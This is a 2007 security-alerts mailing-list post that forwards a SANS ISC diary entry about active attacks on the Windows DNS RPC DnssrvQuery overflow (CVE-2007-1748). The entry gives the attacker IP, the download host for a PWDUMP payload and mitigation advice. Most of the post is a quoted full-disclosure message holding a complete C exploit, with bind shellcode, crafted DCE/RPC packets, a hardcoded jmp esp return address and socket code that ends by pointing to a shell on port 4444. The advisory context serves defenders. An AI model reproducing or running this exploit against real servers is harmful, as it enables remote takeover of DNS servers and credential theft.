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[security-alerts] FW: Windows DNS DnssrvQuery Stack Overflow



http://isc.sans.org/diary.html?n&storyid=2633

Some more information for the community regarding the Windows DNS RPC
vulnerability that we have been reporting on
http://isc.sans.org/diary.html?storyid=2627. We have knowledge of a
successful attack that occurred on April 4, 2007. This appears to be an
opportunistic attack (instead of a targeted attack).

So it's likely that others have been compromised as well. If you have a
vulnerable MS DNS server (Wik2K SP4 or Win2003 SP1 or SP2) accessible to
the Internet and don't have ports above 1024 blocked, then you may have
already been targeted in an attack.

At this point, there seems to be a very small number of known
compromises. We are interested if other sites have seen it? Has your IDS
been alerting on shellcode for DCOM signatures and the port is above
1024? Have you seen portscans above 1024? Has your DNS.exe service died
recently? (Apparently the service does not restart by itself.) If so,
then let us know. And as always, if you have any packet captures of this
activity please send them in.

Update: If you have a large number of domain controllers and want to
automate the disabling of RPC, check out this blog entry:
http://msinfluentials.com/blogs/jesper/archive/2007/04/13/turn-off-rpc-m
anagement-of-dns-on-all-dcs.aspx

Update 2:  We have two confirmed sources that were attacked on April 4th
and 5th. Both were universities in the US. The initial report was from
the Information Security Office at Carnegie Mellon University. Nice
catch guys! The attacking source IP was the same in both cases:
61.63.227.125

Here is the attack details from the Carnegie Mellon folks. First, a TCP
port scan to ports 1024-2048. Then a TCP connection to the right TCP
port running the vulnerable RPC service. Shellcode binds to TCP port
1100. Attacker uploads a VBscript on this port and then runs it.
VBscript downloads an executable DUP.EXE (MD5:
a5ae220fec052a1f2cd22b4eb89a442e) from 203.66.151.92/images/. Executable
is self-extracting and contains PWDUMP v5 and an associated DLL.

Update 3: There is now a publicly available exploit for this
vulnerability in Metasploit 3

---------------------
> -----Original Message-----
> From: full-disclosure-bounces@xxxxxxxxxxxxxxxxx 
> [mailto:full-disclosure-bounces@xxxxxxxxxxxxxxxxx] On Behalf 
> Of dev code
> Sent: Sunday, April 15, 2007 10:51 PM
> To: full-disclosure@xxxxxxxxxxxxxxxxx
> Cc: submit@xxxxxxxxxxx
> Subject: [Full-disclosure] Windows DNS DnssrvQuery Stack Overflow
> 
> /*
> * Copyright (c) 2007 devcode
> *
> *
> *                     ^^ D E V C O D E ^^
> *
> * Windows DNS DnssrvQuery() Stack Overflow
> * [CVE-2007-1748]
> *
> *
> * Description:
> *    A vulnerability has been reported in Microsoft Windows, which can
> *    be exploited by malicious people to compromise a 
> vulnerable system.
> *       The vulnerability is caused due to a boundary error 
> in an RPC interface
> *       of the DNS service used for remote management of the 
> service. This can
> *       be exploited to cause a stack-based buffer overflow 
> via a specially
> *       crafted RPC request. The DnssrvQuery function is 
> vulnerable to this 
> stack
> *    overflow.
> *
> *
> * Hotfix/Patch:
> *    None as of this time.
> *
> * Vulnerable systems:
> *       Microsoft Windows 2000 Advanced Server
> *    Microsoft Windows 2000 Datacenter Server
> *       Microsoft Windows 2000 Server
> *       Microsoft Windows Server 2003 Datacenter Edition
> *       Microsoft Windows Server 2003 Enterprise Edition
> *       Microsoft Windows Server 2003 Standard Edition
> *       Microsoft Windows Server 2003 Web Edition
> *       Microsoft Windows Storage Server 2003
> *
> * Tested on:
> *       Microsoft Windows 2000 Advanced Server
> *
> *    This is a PoC and was created for educational purposes only. The
> *    author is not held responsible if this PoC does not work or is
> *    used for any other purposes than the one stated above.
> *
> * Notes:
> *       <3 Metasploit for releasing it yesterday, only had 
> time to look at it
> *    this morning. Also props to Winny Thomas.
> *
> *    There are two ways we can embed shellcode. One is to pad 
> each byte of
> *    the shellcode with '\' and jmp EBX. The other way is the 
> one Winny used
> *       which is to pass in the shellcode as the third 
> argument in the rpc 
> function
> *    and jmp EDX after incrementing it appropriately. I used 
> the latter :)
> *
> *    ^^ #pen15, InTeL, D-oNe and ps. St0n3y is nub kthxbye
> *
> *
> */
> #include <iostream>
> #include <windows.h>
> 
> #pragma comment( lib, "ws2_32" )
> 
> /* win32_bind -  EXITFUNC=thread LPORT=4444 Size=342 
> Encoder=PexFnstenvMov 
> http://metasploit.com */
> unsigned char uszShellcode[] =
>       
> "\x6a\x50\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x76\xd2\xab"
>       
> "\x1f\x83\xeb\xfc\xe2\xf4\x8a\xb8\x40\x52\x9e\x2b\x54\xe0\x89\xb2"
>       
> "\x20\x73\x52\xf6\x20\x5a\x4a\x59\xd7\x1a\x0e\xd3\x44\x94\x39\xca"
>       
> "\x20\x40\x56\xd3\x40\x56\xfd\xe6\x20\x1e\x98\xe3\x6b\x86\xda\x56"
>       
> "\x6b\x6b\x71\x13\x61\x12\x77\x10\x40\xeb\x4d\x86\x8f\x37\x03\x37"
>       
> "\x20\x40\x52\xd3\x40\x79\xfd\xde\xe0\x94\x29\xce\xaa\xf4\x75\xfe"
>       
> "\x20\x96\x1a\xf6\xb7\x7e\xb5\xe3\x70\x7b\xfd\x91\x9b\x94\x36\xde"
>       
> "\x20\x6f\x6a\x7f\x20\x5f\x7e\x8c\xc3\x91\x38\xdc\x47\x4f\x89\x04"
>       
> "\xcd\x4c\x10\xba\x98\x2d\x1e\xa5\xd8\x2d\x29\x86\x54\xcf\x1e\x19"
>       
> "\x46\xe3\x4d\x82\x54\xc9\x29\x5b\x4e\x79\xf7\x3f\xa3\x1d\x23\xb8"
>       
> "\xa9\xe0\xa6\xba\x72\x16\x83\x7f\xfc\xe0\xa0\x81\xf8\x4c\x25\x81"
>       
> "\xe8\x4c\x35\x81\x54\xcf\x10\xba\xba\x43\x10\x81\x22\xfe\xe3\xba"
>       
> "\x0f\x05\x06\x15\xfc\xe0\xa0\xb8\xbb\x4e\x23\x2d\x7b\x77\xd2\x7f"
>       
> "\x85\xf6\x21\x2d\x7d\x4c\x23\x2d\x7b\x77\x93\x9b\x2d\x56\x21\x2d"
>       
> "\x7d\x4f\x22\x86\xfe\xe0\xa6\x41\xc3\xf8\x0f\x14\xd2\x48\x89\x04"
>       
> "\xfe\xe0\xa6\xb4\xc1\x7b\x10\xba\xc8\x72\xff\x37\xc1\x4f\x2f\xfb"
>       
> "\x67\x96\x91\xb8\xef\x96\x94\xe3\x6b\xec\xdc\x2c\xe9\x32\x88\x90"
>       
> "\x87\x8c\xfb\xa8\x93\xb4\xdd\x79\xc3\x6d\x88\x61\xbd\xe0\x03\x96"
>       
> "\x54\xc9\x2d\x85\xf9\x4e\x27\x83\xc1\x1e\x27\x83\xfe\x4e\x89\x02"
>       
> "\xc3\xb2\xaf\xd7\x65\x4c\x89\x04\xc1\xe0\x89\xe5\x54\xcf\xfd\x85"
>       
> "\x57\x9c\xb2\xb6\x54\xc9\x24\x2d\x7b\x77\x99\x1c\x4b\x7f\x25\x2d"
>       "\x7d\xe0\xa6\xd2\xab\x1f\x00";
> 
> /* 50abc2a4-574d-40b3-9d66-ee4fd5fba076 v5.0 */
> unsigned char uszDceBind[] =
>       
> "\x05\x00\x0B\x03\x10\x00\x00\x00\x48\x00\x00\x00\x01\x00\x00\x00"
>       
> "\xD0\x16\xD0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
>       
> "\xA4\xC2\xAB\x50\x4D\x57\xB3\x40\x9D\x66\xEE\x4F\xD5\xFB\xA0\x76"
>       
> "\x05\x00\x00\x00\x04\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00"
>       "\x2B\x10\x48\x60\x02\x00\x00\x00";
> 
> /* DnssrvQuery: opnum 1 */
> unsigned char uszDceCall[] =
>       
> "\x05\x00\x00\x83\x10\x00\x00\x00\x7f\x06\x00\x00\x01\x00\x00\x00"
>       
> "\x57\x06\x00\x00\x00\x00\x01\x00\xa4\xc2\xab\x50\x4d\x57\xb3\x40"
>       
> "\x9d\x66\xee\x4f\xd5\xfb\xa0\x76\x10\xc2\x40\x00\x02\x00\x00\x00"
>       
> "\x00\x00\x00\x00\x02\x00\x00\x00\x44\x00\x00\x00\x94\xfa\x13\x00"
>       "\xcc\x04\x00\x00\x00\x00\x00\x00\xcc\x04\x00\x00";
> 
> unsigned char uszDceEnd1[] =
>       
> "\x41\x00\xb8\xc0\x40\x00\x57\x01\x00\x00\x00\x00\x00\x00\x57\x01"
>       "\x00\x00";
> 
> unsigned char uszJmps[] =
>       /* 0x77E14C29 - jmp esp user32.dll (Windows 2000 
> Advanced Server SP4) */
>       "\x5C\x29\x5C\x4C\x5C\xE1\x5C\x77"
> 
>       /* inc edx, jmp edx */
>       "\x5C\x42\x5C\x42\x5C\x42\x5C\x42"
>       
> "\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42"
>       
> "\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42"
>       
> "\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42\x5C\x42"
>       "\x5C\x42\x5C\xFF\x5C\xE2";
> 
> void usage( ) {
>       printf("\n\t\tMicrosoft Windows DNS RPC Stack Overflow\n"
>                       "\t\t\t(c) 2007 devcode\n\n"
>                       "usage: dns.exe <ip> <port>\n");
> }
> 
> int main( int argc, char **argv ) {
>       WSADATA wsaData;
>       SOCKET sConnect;
>       SOCKADDR_IN sockAddr;
>       char szRecvBuf[4096];
>       unsigned char uszPacket[1663];
>       int nRet;
> 
>       if ( argc < 3 ) {
>               usage( );
>               return -1;
>       }
> 
>       if ( WSAStartup( MAKEWORD( 2, 0 ), &wsaData ) != NO_ERROR ) {
>               printf("[-] Unable to startup winsock\n");
>               return -1;
>       }
> 
>       sConnect = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
>       if ( sConnect == INVALID_SOCKET ) {
>               printf("[-] Invalid socket\n");
>               return -1;
>       }
> 
>       sockAddr.sin_family = AF_INET;
>       sockAddr.sin_addr.s_addr = inet_addr( argv[1] );
>       sockAddr.sin_port = htons( atoi( argv[2] ) );
> 
>       printf("[+] Connecting to %s:%s\n", argv[1], argv[2] );
>       nRet = connect( sConnect, (SOCKADDR *)&sockAddr, 
> sizeof( sockAddr ) );
>       if ( nRet == SOCKET_ERROR ) {
>               closesocket( sConnect );
>               printf("[-] Cannot connect to server\n");
>               return -1;
>       }
> 
>       printf("[+] Sending DCE Bind packet...\n");
>       nRet = send( sConnect, (const char *)uszDceBind, 
> sizeof( uszDceBind ) - 1, 
> 0 );
>       if ( nRet  == SOCKET_ERROR ) {
>               closesocket( sConnect );
>               printf("[-] Cannot send\n");
>               return -1;
>       }
> 
>       nRet = recv( sConnect, szRecvBuf, sizeof( szRecvBuf ), 0 );
>       if ( nRet <= 0 ) {
>               closesocket( sConnect );
>               printf("[-] Recv failed\n");
>               return -1;
>       }
> 
>       memset( uszPacket, 0x5C, sizeof( uszPacket ) );
>       memcpy( uszPacket, uszDceCall, sizeof( uszDceCall ) - 1 );
>       memcpy( uszPacket + 1006, uszJmps, sizeof( uszJmps ) - 1 );
>       memcpy( uszPacket + 1302, uszDceEnd1, sizeof( uszDceEnd1 ) );
>       memcpy( uszPacket + 1320, uszShellcode, sizeof( 
> uszShellcode ) );
> 
>       printf("[+] Sending DCE Request packet...\n");
>       nRet = send( sConnect, (const char *)uszPacket, sizeof( 
> uszPacket ), 0 );
>       if ( nRet == SOCKET_ERROR ) {
>               closesocket( sConnect );
>               printf("[-] Cannot send\n");
>               return -1;
>       }
> 
>       printf("[+] Check shell on port 4444 :)\n");
>       nRet = recv( sConnect, szRecvBuf, sizeof( szRecvBuf ), 0 );
>       closesocket( sConnect );
>       return 0;
> }
> 
> _________________________________________________________________
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